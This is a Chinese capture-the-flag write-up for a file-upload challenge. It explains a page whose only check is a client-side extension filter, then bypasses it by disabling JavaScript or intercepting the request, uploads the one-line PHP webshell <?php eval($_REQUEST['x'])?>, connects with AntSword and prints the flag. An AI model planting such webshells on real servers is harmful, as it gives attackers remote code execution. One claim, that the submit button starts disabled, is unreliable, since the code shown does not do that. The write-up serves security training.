题目
右键源代码
<!Doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script type="text/javascript">
Array.prototype.contains = function (obj) {
var i = this.length;
while (i--) {
if (this[i] === obj) {
return true;
}
}
return false;
}
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');
if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;
alert('请选择一张图片文件上传!');
}
}
</script>
</head>
<body>
<form enctype='multipart/form-data' id='aa' name='aaa' method='post' action='index.php'>
<input id="upfile" name='upfile' type='file' onchange="check();" />
<input type='submit' id ='submit' value='上传'>
</form>
</body>
</html>
这段代码是一个简单的HTML页面,其中包含JavaScript代码,用于检查用户是否选择了一个图片文件(.jpg
或 .png
)进行上传。
-
HTML头部 (
<head>
):-
字符集声明:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
这行代码指定了页面的字符编码为UTF-8,确保页面可以正确显示各种字符。 -
JavaScript代码:
- 扩展数组原型:
Array.prototype.contains
是一个自定义方法,用于检查数组中是否包含某个特定的对象。这里,它用于检查文件扩展名是否存在于一个特定的数组中。 check
函数: 当文件输入字段 (<input type='file'>
) 的值发生变化时,这个函数会被调用。它获取文件的扩展名,并检查这个扩展名是否是jpg
或png
。如果是,则启用上传按钮;如果不是,则禁用上传按钮并显示一个警告。
- 扩展数组原型:
-
-
HTML主体 (
<body>
):- 表单 (
<form>
): 表单用于上传文件。它使用enctype='multipart/form-data'
来确保可以正确地上传文件。 - 文件输入字段 (
<input type='file'>
): 用户可以通过这个字段选择文件。当文件被选择后,onchange
事件触发check
函数。 - 提交按钮 (
<input type='submit'>
): 用户点击这个按钮以提交表单。它的初始状态是禁用的(disabled
),直到用户选择了一个有效的图片文件。
- 表单 (
<!Doctype html> <!-- 声明这是一个HTML5文档,但这里有个小错误,应该是<!DOCTYPE html>,注意大写和空格 -->
<html> <!-- HTML文档的根元素 -->
<head> <!-- 定义文档的头部 -->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <!-- 定义文档的字符编码为UTF-8 -->
<script type="text/javascript"> <!-- 嵌入JavaScript代码 -->
// 自定义一个方法到Array的原型上,用于检查数组中是否包含某个元素
Array.prototype.contains = function (obj) {
var i = this.length; <!-- 获取数组的长度 -->
while (i--) { <!-- 使用while循环逆序遍历数组 -->
if (this[i] === obj) { <!-- 如果找到与给定对象相等的元素 -->
return true; <!-- 返回true,表示数组包含该元素 -->
}
}
return false; <!-- 如果遍历完整个数组都没找到,返回false -->
}
// 定义check函数,用于检查上传的文件类型
function check(){
upfile = document.getElementById("upfile"); <!-- 获取文件输入元素的引用 -->
submit = document.getElementById("submit"); <!-- 获取提交按钮的引用 -->
name = upfile.value; <!-- 获取文件输入元素的值,即文件名 -->
ext = name.replace(/^.+\./,''); <!-- 使用正则表达式提取文件名中的扩展名 -->
// 检查扩展名是否在['jpg','png']数组中
if(['jpg','png'].contains(ext)){
submit.disabled = false; <!-- 如果扩展名有效,启用提交按钮 -->
}else{
submit.disabled = true; <!-- 如果扩展名无效,禁用提交按钮 -->
alert('请选择一张图片文件上传!'); <!-- 显示警告框提示用户选择正确的文件类型 -->
}
}
</script> <!-- 结束JavaScript代码 -->
</head> <!-- 结束文档头部 -->
<body> <!-- 文档的主体部分开始 -->
<form enctype='multipart/form-data' id='aa' name='aaa' method='post' action='index.php'> <!-- 定义表单,用于文件上传 -->
<input id="upfile" name='upfile' type='file' onchange="check();" /> <!-- 文件输入元素,选择文件时触发check函数 -->
<input type='submit' id ='submit' value='上传'> <!-- 提交按钮,初始状态是禁用的 -->
</form> <!-- 结束表单 -->
</body> <!-- 结束文档主体 -->
</html> <!-- 结束HTML文档 -->
前端验证直接禁用js
F12设置中
禁用js
直接上传一句话木马,先来构造木马
<?php eval($_REQUEST['x'])?>
左上角另存为php文件然后上传
然后后得到上传路径
直接蚁剑连接
一般会放在网站默认路径www下
或者bp抓包把后缀改了也能绕过
cyberpeace{35454b3cd4471de5c676ac0c34b420b7}